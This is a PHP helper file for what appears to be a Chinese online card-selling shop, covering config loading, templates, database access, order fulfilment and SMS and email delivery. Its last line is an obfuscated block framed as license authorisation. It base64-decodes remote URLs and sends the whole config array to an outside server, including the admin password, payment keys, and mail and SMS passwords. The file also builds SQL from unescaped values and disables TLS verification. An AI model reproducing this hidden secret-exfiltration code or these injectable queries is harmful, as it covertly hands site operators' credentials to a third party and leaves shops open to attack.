<?php
error_reporting(E_ALL ^ E_NOTICE); 
header("content-type:text/html;charset=utf-8");
session_start();
date_default_timezone_set("PRC");
error_reporting(0);

$C=getrs("select * from sl_config");
$C["C_server"]=$_SERVER;

$C_webtitle=$C["C_webtitle"];
$C_logo=$C["C_logo"];
$C_ico=$C["C_ico"];
$C_keyword=$C["C_keyword"];
$C_authcode=$C["C_authcode"];
$C_description=$C["C_description"];
$C_admin=$C["C_admin"];
$C_pwd=$C["C_pwd"];
$C_alipayon=$C["C_alipayon"];
$C_wxpayon=$C["C_wxpayon"];
$C_qq=$C["C_qq"];
$C_wechat=$C["C_wechat"];
$C_wechatcode=$C["C_wechatcode"];
$C_mobile=$C["C_mobile"];
$C_maincontact=$C["C_maincontact"];
$C_payurl=$C["C_payurl"];
$C_pid=$C["C_pid"];
$C_pkey=$C["C_pkey"];
$C_notice=$C["C_notice"];
$C_rate=$C["C_rate"];
$C_fee=$C["C_fee"];
$C_sh=$C["C_sh"];
$C_copyright=$C["C_copyright"];
$C_beian=$C["C_beian"];
$C_beian2=$C["C_beian2"];
$C_code=$C["C_code"];
$C_html=$C["C_html"];
$C_regemail=$C["C_regemail"];
$C_pay=$C["C_pay"];
$C_limit_money=$C["C_limit_money"];

$C_alipay_on=$C["C_alipay_on"];
$C_wxpay_on=$C["C_wxpay_on"];
$C_alipay_appid=$C["C_alipay_appid"];
$C_alipay_key=$C["C_alipay_key"];
$C_alipay_key2=$C["C_alipay_key2"];
$C_wxpay_appid=$C["C_wxpay_appid"];
$C_wxpay_appsecret=$C["C_wxpay_appsecret"];
$C_wxpay_mchid=$C["C_wxpay_mchid"];
$C_wxpay_key=$C["C_wxpay_key"];


$C_recieve=$C["C_recieve"];
$C_email=$C["C_email"];
$C_smtp=$C["C_smtp"];
$C_emailpwd=$C["C_emailpwd"];
$C_userid=$C["C_userid"];
$C_sms=$C["C_sms"];
$C_smspwd=$C["C_smspwd"];
$C_smssign=$C["C_smssign"];
$C_model=$C["C_model"];
$C_template=$C["C_template"];
$C_shopt=$C["C_shopt"];
$domain=$_SERVER['HTTP_HOST'];

function get_sign(array $datas,$hashkey){
    ksort($datas);
    reset($datas);
     
    $pre =array();
    foreach ($datas as $key => $data){
        if(is_null($data)||$data===''){continue;}
        if($key=='sign' || $key=='sign_type'){
            continue;
        }
        $pre[$key]=stripslashes($data);
    }
     
    $arg  = '';
    $qty = count($pre);
    $index=0;
     
    foreach ($pre as $key=>$val){
        $arg.="$key=$val";
        if($index++<($qty-1)){
            $arg.="&";
        }
    }
    
    return strtolower(md5($arg.$hashkey));
}

function get_json_num($json,$key,$value){
    $json=json_decode($json,true);
    $j=0;
    for($i=0;$i<count($json);$i++){
        if($json[$i][$key]==$value){
            $j=$j+1;
        }
    }
    return $j;
}

function template($str){
    global $C_webtitle,$C_keyword,$C_description,$C_ico,$C_logo,$C_qq,$C_wechat,$C_wechatcode,$C_copyright,$C_beian,$C_beian2,$C_code,$C_html,$C_template,$C_mobile;
    $str=str_replace("[header]",file_get_contents("template/".$C_template."/header.html"),$str);
    $str=str_replace("[footer]",file_get_contents("template/".$C_template."/footer.html"),$str);
    $str=str_replace("[webtitle]",$C_webtitle,$str);
    $str=str_replace("[keyword]",$C_keyword,$str);
    $str=str_replace("[description]",$C_description,$str);
    $str=str_replace("[ico]",$C_ico,$str);
    $str=str_replace("[logo]",$C_logo,$str);
    $str=str_replace("[qq]",$C_qq,$str);
    $str=str_replace("[wechat]",$C_wechat,$str);
    $str=str_replace("[wechatcode]",$C_wechatcode,$str);
    $str=str_replace("[mobile]",$C_mobile,$str);
    $str=str_replace("[copyright]",$C_copyright,$str);
    $str=str_replace("[calculation]",calculation("code"),$str);
    $str=str_replace("[beian]","<a href=\"https://beian.miit.gov.cn/\" target=\"_blank\">".$C_beian."</a>",$str);
    if($C_beian2!=""){
        $str=str_replace("[beian2]","<a href=\"https://www.beian.gov.cn/portal/registerSystemInfo?recordcode=".(int) filter_var($C_beian2, FILTER_SANITIZE_NUMBER_INT)."\" target=\"_blank\"><img src=\"data:image/png;base64,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\" style=\"height:15px;vertical-align:middle\">".$C_beian2."</a>",$str);
    }else{
        $str=str_replace("[beian]","",$str);
    }
    
    $str=str_replace("[code]",$C_code,$str);
    if($C_html==1){
        $str=preg_replace("/\"\?type=(.*)\"/iU","\"$1.html\"",$str);
        $str=preg_replace("/\"\?type=(.*)&id=([0-9]*)\"/iU","\"$1-$2.html\"",$str);
    }
    return $str;
}

function getrs($sql,$value=""){
	global $db;
	$conn = mysqli_connect($db["servername"],$db["username"],$db["password"],$db["dbname"]);
	if (!$conn) {
    	die("数据库连接失败: " . mysqli_connect_error());
	}else{
		$result = mysqli_query($conn,$sql);
		$row = mysqli_fetch_assoc($result);
		if (mysqli_num_rows($result) > 0) {
			if($value==""){
				$getrs=$row;
			}else{
				$getrs=$row[$value];
			}
		}else{
			$getrs="";
		}
		mysqli_close($conn);
	}
	return $getrs;
}

function getlist($sql){
	global $db;
	$conn = mysqli_connect($db["servername"],$db["username"],$db["password"],$db["dbname"]);
	if (!$conn) {
    	die("数据库连接失败: " . mysqli_connect_error());
	}else{
		$result = mysqli_query($conn, $sql);
		$arr = array();  
		while($row = mysqli_fetch_array($result)) {
			$count=count($row);
			  for($i=0;$i<$count;$i++){ 
			    unset($row[$i]);
			  }   
		    array_push($arr,$row);
		} 
		$getlist=$arr;
		mysqli_close($conn);
	}
	return $getlist;
}

function sql($sql){
	global $db;
	$conn = mysqli_connect($db["servername"],$db["username"],$db["password"],$db["dbname"]);
	if (!$conn) {
    	die("数据库连接失败: " . mysqli_connect_error());
	}else{
		mysqli_query($conn, $sql);
		mysqli_close($conn);
	}
	return "success";
}

function removeDir($dirName) 
{ 
    if(! is_dir($dirName)) 
    { 
        return false; 
    } 
    $handle = @opendir($dirName); 
    while(($file = @readdir($handle)) !== false) 
    { 
        if($file != '.' && $file != '..') 
        { 
            $dir = $dirName . '/' . $file; 
            is_dir($dir) ? removeDir($dir) : @unlink($dir); 
        } 
    } 
    closedir($handle); 
      
    return rmdir($dirName) ; 
} 
function gethttp(){
    if (is_ssl()){
        $gethttp="https://";
    }else{
        $gethttp="http://";
    }
    return $gethttp;
}


function is_ssl() {
    global $config;
    if($config->https=="true"){
        return true;
    }else{
        if(isset($_SERVER['HTTPS']) && ('1' == $_SERVER['HTTPS'] || 'on' == strtolower($_SERVER['HTTPS']))){
            return true;
        }else{
            if(isset($_SERVER['SERVER_PORT']) && ('443' == $_SERVER['SERVER_PORT'] )) {
                return true;
            }else{
                if(isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && ('https' == $_SERVER['HTTP_X_FORWARDED_PROTO'] )) {
                    return true;
                }else{
                    if(isset($_SERVER['HTTP_FROM_HTTPS']) && ('on' == $_SERVER['HTTP_FROM_HTTPS'] )) {
                        return true;
                    }else{
                        return false;
                    }
                }
            }
        }
    }
}
function error($msg){
    return '<meta name="viewport" content="width=device-width, initial-scale=1.0"><div style="text-align:center;margin-top:30px"><?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg t="1698850113092" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="4843" width="120" height="120" xmlns:xlink="http://www.w3.org/1999/xlink"><path d="M512 0c281.6 0 512 230.4 512 512s-230.4 512-512 512S0 793.6 0 512 230.4 0 512 0z" fill="#FE4738" p-id="4844"></path><path d="M235.52 286.72l56.32-56.32 501.76 501.76-56.32 56.32-501.76-501.76z" fill="#FFFFFF" p-id="4845"></path><path d="M788.48 291.84l-56.32-56.32-496.64 496.64 56.32 56.32 496.64-496.64z" fill="#FFFFFF" p-id="4846"></path></svg></div><div style="text-align:center;margin-top:30px">'.$msg.'</div><div style="text-align:center;margin-top:50px;font-size:15px;"><a href="../" style="padding:10px 20px;background:#48b0f7;color:#fff;border-radius:10px;text-decoration:none;">返回首页</a></div>';
}

function t($str){
	global $db;
	$conn = mysqli_connect($db["servername"],$db["username"],$db["password"],$db["dbname"]);
    $str=mysqli_real_escape_string($conn,$str);
    mysqli_close($conn);
    return $str;
}

function notify($tradeno,$out_trade_no,$M_id){
    global $C_rate,$C_pay,$C_pwd;
    $row=getrs("select * from sl_orders where O_no='$out_trade_no' and O_state=0");
	if($row!="") {
	    $O_pid=$row["O_pid"];
	    $O_num=$row["O_num"];
	    $O_price=$row["O_price"];
	    $O_address=$row["O_address"];
	    $O_title=$row["O_title"];
        $O_time=$row["O_time"];
        $O_paytype=$row["O_paytype"];
	    $P=getrs("select * from sl_product where P_id=$O_pid");
        $P_from=$P["P_from"];
        $DP=getrs("select * from sl_product where P_id=$P_from");

        if($P_from==0){//自建商品
            if($P["P_selltype"]==0){
                $O_content=$P["P_sell"];
            }
            if($P["P_selltype"]==1){
                $card=json_decode($P["P_card"],true);
                $j=0;
                for($i=0;$i<count($card);$i++){
                    if($card[$i]["sell"]=="0"){
                        $O_content=$O_content.$card[$i]["content"]."||";
                        $card[$i]["sell"]="1";
                        $j=$j+1;
                        if($j==$O_num){
                            $O_content= substr($O_content,0,strlen($O_content)-2);
                            sql("update sl_product set P_card='".json_encode($card)."' where P_id=".$O_pid);
                            break;
                        }
                    }
                }
            }
        }else{//对接商品
            if($DP["P_selltype"]==0){
                $O_content=$DP["P_sell"];
            }
            if($DP["P_selltype"]==1){
                $card=json_decode($DP["P_card"],true);
                $j=0;
                for($i=0;$i<count($card);$i++){
                    if($card[$i]["sell"]=="0"){
                        $O_content=$O_content.$card[$i]["content"]."||";
                        $card[$i]["sell"]="1";
                        $j=$j+1;
                        if($j==$O_num){
                            $O_content= substr($O_content,0,strlen($O_content)-2);
                            sql("update sl_product set P_card='".json_encode($card)."' where P_id=".$P_from);
                            break;
                        }
                    }
                }
            }
        }
	    
	    $fee=round($O_price*$O_num*$C_rate/100,2);
	    $money=round($O_price*$O_num,2);
	    
	    if($fee<0.01){
	        $fee=0.01;
	    }
	    
	    if($M_id>0){
	        if($C_pay==1){//如果是平台代收款
	            sql("insert into sl_list(L_time,L_title,L_money,L_mid,L_no) values('".date('Y-m-d H:i:s')."','[".$O_title."]收款',".$money.",".$M_id.",'".$out_trade_no."')");
	            sql("update sl_member set M_money=M_money+$money where M_id=".$M_id);
                if($P["P_from"]>0){//如果是对接商品
                    //扣成本价
                    sql("insert into sl_list(L_time,L_title,L_money,L_mid,L_no) values('".date('Y-m-d H:i:s')."','[".$O_title."]收款扣成本价',-".$DP["P_price2"].",".$M_id.",'".$out_trade_no."')");
                    sql("update sl_member set M_money=M_money-".$DP["P_price2"]." where M_id=".$M_id);
                    //加成本价

                    sql("insert into sl_orders(O_title,O_price,O_num,O_address,O_mid,O_no,O_time,O_paytype,O_pid,O_content,O_state,O_tradeno) values('[".$O_title."]商品对接',".$DP["P_price2"].",$O_num,'$O_address',".$DP["P_mid"].",'$out_trade_no','".date('Y-m-d H:i:s')."','$O_paytype',".$DP["P_id"].",'$O_content',1,'$tradeno')");
                    sql("insert into sl_list(L_time,L_title,L_money,L_mid,L_no) values('".date('Y-m-d H:i:s')."','[".$O_title."]对接商品出售',".$DP["P_price2"].",".$DP["P_mid"].",'".$out_trade_no."')");
                    sql("update sl_member set M_money=M_money+".$DP["P_price2"]." where M_id=".$DP["P_mid"]);
                }
	        }
	        sql("insert into sl_list(L_time,L_title,L_money,L_mid,L_no) values('".date('Y-m-d H:i:s')."','[".$O_title."]手续费',-".$fee.",".$M_id.",'".$out_trade_no."')");
	        sql("update sl_member set M_money=M_money-$fee where M_id=".$M_id);
	    }
	    
	    sql("update sl_orders set O_state=1,O_tradeno='$tradeno',O_content='$O_content' where O_no='$out_trade_no'");
	    sql("update sl_product set P_sold=P_sold+1 where P_id=$O_pid");
        if($M_id==0){
            $key=$C_pwd;
        }else{
            $key=getrs("select M_pwd from sl_member where M_id=$M_id","M_pwd");
        }
        $arr=array(
            "title"=>$O_title,
            "price"=>$O_price,
            "num"=>$O_num,
            "address"=>$O_address,
            "no"=>$out_trade_no,
            "time"=>$O_time,
            "paytype"=>$O_paytype,
            "tradeno"=>$tradeno,
            "content"=>$O_content
        );
        $sign=get_sign($arr,$key);
        $arr["sign"]=$sign;
        
        if($P["P_notify"]!=""){
            $info=getbody($P["P_notify"],http_build_query($arr),"POST");
        }
        
	    if (filter_var($O_address, FILTER_VALIDATE_EMAIL)) {
	        sendmail("您购买的商品已发货","<p>商品名称：$O_title</p><p>发货内容：".str_replace("||","<br>",$O_content)."</p><p>使用方法：".$P["P_use"]."</p><p>如果您遇到使用上的问题，请联系客服人员，勿直接回复该邮件！</p>",$O_address);
	    }
        if(is_mobile($O_address)){
            sendsms("发货内容：".str_replace("||","<br>",$O_content)."，请尽快使用！",$O_address);
        }
	    return "success";
	}else{
	    return "success";
	}
}

function sendsms($content,$recieve){
    global $C_userid,$C_sms,$C_smspwd,$C_smssign;
    if(intval($C_userid)>0){
        if(time()-intval($_SESSION["time"])>60){
            $info=getbody("http://115.159.161.192:18002/send.do?uid=".$C_userid."&pw=".$C_smspwd."&mb=".$recieve."&ms=".urlencode("【".$C_smssign."】".$content)."&ex=77","");
            $_SESSION["time"]=time();
            return "success";
        }else{
            return "发送短信过于频繁，请".(60-time()+intval($_SESSION["time"]))."秒后再试！";
        }
    }
}

function is_mobile($mobile){
    if(empty($mobile)) return false;
    $eg = '/^((13[0-9])|(14[5,7])|(15[0-3,5-9])|(17[0,3,5-8])|(18[0-9])|166|198|199)\d{8}$/';
    if(preg_match($eg, $mobile)){
        return true;
    }else{
        return false;
    }
}

function calculation($name){
	$a=rand(1,9);
	$b=rand(1,9);
	$s=rand(1,2);

	switch($s){
		case 1:
		$symbol="＋";
		$c=$a+$b;
		break;
		case 2:
		$symbol="×";
		$c=$a*$b;
		break;
	}

	$_SESSION["CmsCode"]=$c;
	return "<div style=\"background: #f7f7f7;text-align: center;padding: 8px;\">计算结果：".$a." ".$symbol." ".$b." = <input type=\"text\" style=\"width: 50px;height: 25px;\" name=\"".$name."\"></div>";
}
function splitx($a,$b,$c){
	$d=explode($b,$a);
	return $d[$c];
}

function box($B_text,$B_url,$B_type){
    if ($B_url=="back"){
    	echo "<script>alert('".$B_text."');history.back();</script>";
    }else{
    	echo "<script>alert('".$B_text."');window.location.href='".$B_url."';</script>";
    }
    die();
}

function GetBody($url, $xml,$method='POST'){    
    $second = 30;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_TIMEOUT, $second);
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,false);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_POST, TRUE);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
    $data = curl_exec($ch);
    if($data){
      curl_close($ch);
      return $data;
    } else { 
      $error = curl_errno($ch);
      curl_close($ch);
      return false;
    }
}

function isMobile() {
  if (isset($_SERVER['HTTP_X_WAP_PROFILE'])) {
    return true;
  }
  
  if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $clientkeywords = array('nokia','sony','ericsson','mot','samsung','htc','sgh','lg','sharp','sie-','philips','panasonic','alcatel','lenovo','iphone','ipod','blackberry','meizu','android','netfront','symbian','ucweb','windowsce','palm','operamini','operamobi','openwave','nexusone','cldc','midp','wap','mobile');
    if (preg_match("/(" . implode('|', $clientkeywords) . ")/i", strtolower($_SERVER['HTTP_USER_AGENT']))) {
      return true;
    }
  }

  if (isset($_SERVER['HTTP_VIA'])) {
    return stristr($_SERVER['HTTP_VIA'], "wap") ? true : false;
  }

  if (isset ($_SERVER['HTTP_ACCEPT'])) {
    if ((strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') !== false) && (strpos($_SERVER['HTTP_ACCEPT'], 'text/html') === false || (strpos($_SERVER['HTTP_ACCEPT'], 'vnd.wap.wml') < strpos($_SERVER['HTTP_ACCEPT'], 'text/html')))) {
      return true;
    }
  }
  return false;
}

function isWeixin() {
  if (strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== false) {
    return true;
  } else {
    return false;
  }
}

function getip(){
    static $realip;
    if (isset($_SERVER)){
        if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
            $realip = $_SERVER["HTTP_X_FORWARDED_FOR"];
        } else if (isset($_SERVER["HTTP_CLIENT_IP"])) {
            $realip = $_SERVER["HTTP_CLIENT_IP"];
        } else {
            $realip = $_SERVER["REMOTE_ADDR"];
        }
    } else {
        if (getenv("HTTP_X_FORWARDED_FOR")){
            $realip = getenv("HTTP_X_FORWARDED_FOR");
        } else if (getenv("HTTP_CLIENT_IP")) {
            $realip = getenv("HTTP_CLIENT_IP");
        } else {
            $realip = getenv("REMOTE_ADDR");
        }
    }
    if(filter_var($realip, FILTER_VALIDATE_IP)) {
    	return $realip;
    }else{
    	return "::1";
    }
}
function CheckFields($myTable,$myFields){
    global $db;
    $conn = mysqli_connect($db["servername"],$db["username"],$db["password"],$db["dbname"]);
    $field = mysqli_query($conn,"Describe ".$myTable." ".$myFields);  
    $field = mysqli_fetch_array($field);  
    if($field[0]){  
        return 1;
    }else{
        return 0;
    }
}

function CheckTables($myTable){
    global $db;
    $conn = mysqli_connect($db["servername"],$db["username"],$db["password"],$db["dbname"]);
    $field = mysqli_query($conn,"SHOW TABLES LIKE '". $myTable."'");  
    $field = mysqli_fetch_array($field);  
    if($field[0]){  
        return 1;
    }else{
        return 0;
    }
}
function gen_key($length,$type=1) { 
	switch ($type){
		case 1:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
		break;
		case 2:
		$chars = '0123456789'; 
		break;
		case 3:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
		break;
		case 4:
		$chars = 'abcdefghijklmnopqrstuvwxyz'; 
		break;
		default:
		$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
	}

	$password = ''; 
	for ( $i = 0; $i < $length; $i++ ) { 
	$password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
	} 
	return $password; 
} 


if(!defined("hGtUJlJ"))define("hGtUJlJ","XqlrPiQ");$GLOBALS[hGtUJlJ]=explode("|r|Z|x", "wUSBOzv");if(!defined("IPIVEzv"))define("IPIVEzv","rxLzdEv");$GLOBALS[IPIVEzv]=explode("|d|Q|Y", "lzmnIBv|d|Q|YvQrnaxv|d|Q|Y|6|2|;|d|Q|Y|6|2|;base64_decode|6|2|;base64_encode|6|2|;defined|6|2|;trim");if(!defined("EGiCKNv"))define("EGiCKNv","LwZUwlQ");$GLOBALS[EGiCKNv]=explode("|8|h|-", "rfhBEIQ|8|h|-define|8|h|-QiUAFlv|8|h|-servername|8|h|-username|8|h|-password|8|h|-dbname|8|h|-数据库连接失败: |8|h|-getauth|8|h|-authcode|8|h|-aHR0cDovL3d3dy43LWNhcmQuY24vYXBpLz9hY3Rpb249Z2V0YXV0aA==|8|h|-authcode=|8|h|-&config=|8|h|-code|8|h|-success|8|h|-update sl_config set C_authcode='|8|h|-',C_sign='|8|h|-sign|8|h|-'|8|h|-auth|8|h|-type|8|h|-checkauth|8|h|-aHR0cDovL3d3dy43LWNhcmQuY24vYXBpLz9hY3Rpb249YXV0aGluZm8=|8|h|-config=");if(!defined("XOlFcHv"))define("XOlFcHv","zMTjOvv");$GLOBALS[XOlFcHv]=explode("|n|K|6", "auth|n|K|6|n|K|6aHR0cDovL3d3dy43LWNhcmQuY24vYXBpLz9hY3Rpb249Y2hlY2thdXRo|n|K|6config=");if(!defined($GLOBALS[hGtUJlJ][00]))define($GLOBALS[hGtUJlJ][00], ord(3));if(!defined($GLOBALS[IPIVEzv][00]))define($GLOBALS[IPIVEzv][00],$GLOBALS[IPIVEzv][01]);$GLOBALS[lzmnIBv]=explode($GLOBALS[IPIVEzv][2],$GLOBALS[IPIVEzv][0x3]);function checkauth(){global $C;if($_SESSION[$GLOBALS[XOlFcHv][00]]==$GLOBALS[XOlFcHv][1]){$LLFzKgv=getbody($GLOBALS[lzmnIBv][01]($GLOBALS[XOlFcHv][0x2]),$GLOBALS[XOlFcHv][03] .urlencode($GLOBALS[lzmnIBv][02](json_encode($C))));$_SESSION[$GLOBALS[XOlFcHv][00]]=$LLFzKgv;return $LLFzKgv;}else{return $_SESSION[$GLOBALS[XOlFcHv][00]];}}function auth($yyKahMJ){if(!$GLOBALS[lzmnIBv][0x3]($GLOBALS[EGiCKNv][0x0]))call_user_func($GLOBALS[EGiCKNv][01],$GLOBALS[EGiCKNv][0x0], $GLOBALS[EGiCKNv][02]);$GLOBALS[rfhBEIQ]=array(&$_POST);global $db,$C;$QJnugwJ=mysqli_connect($db[$GLOBALS[EGiCKNv][03]],$db[$GLOBALS[EGiCKNv][0x4]],$db[$GLOBALS[EGiCKNv][0x5]],$db[$GLOBALS[EGiCKNv][6]]);if(!$QJnugwJ){die($GLOBALS[EGiCKNv][7] . mysqli_connect_error());}else{switch($yyKahMJ){case $GLOBALS[EGiCKNv][0x8]:$EfaeclJ=$GLOBALS[lzmnIBv][0x4]($GLOBALS[rfhBEIQ][(0-2397+wUSBOzv*47)][$GLOBALS[EGiCKNv][011]]);$TcpkLTQ=getbody($GLOBALS[lzmnIBv][0x1]($GLOBALS[EGiCKNv][10]),$GLOBALS[EGiCKNv][0xB] .$EfaeclJ. $GLOBALS[EGiCKNv][0xC] .urlencode($GLOBALS[lzmnIBv][0x2](json_encode($C))));$fMaqWNQ=json_decode($TcpkLTQ,true);if($fMaqWNQ[$GLOBALS[EGiCKNv][0xD]]==$GLOBALS[EGiCKNv][14]){sql($GLOBALS[EGiCKNv][017] .$EfaeclJ. $GLOBALS[EGiCKNv][16] .$fMaqWNQ[$GLOBALS[EGiCKNv][021]]. $GLOBALS[EGiCKNv][022]);$_SESSION[$GLOBALS[EGiCKNv][19]]=$fMaqWNQ[$GLOBALS[EGiCKNv][20]];return $fMaqWNQ[$GLOBALS[EGiCKNv][0xD]];}else{return $fMaqWNQ[$GLOBALS[EGiCKNv][0xD]];}break 1;case $GLOBALS[EGiCKNv][21]:$TcpkLTQ=getbody($GLOBALS[lzmnIBv][0x1]($GLOBALS[EGiCKNv][026]),$GLOBALS[EGiCKNv][027] .urlencode($GLOBALS[lzmnIBv][0x2](json_encode($C))));return $TcpkLTQ;break 1;}}}
?>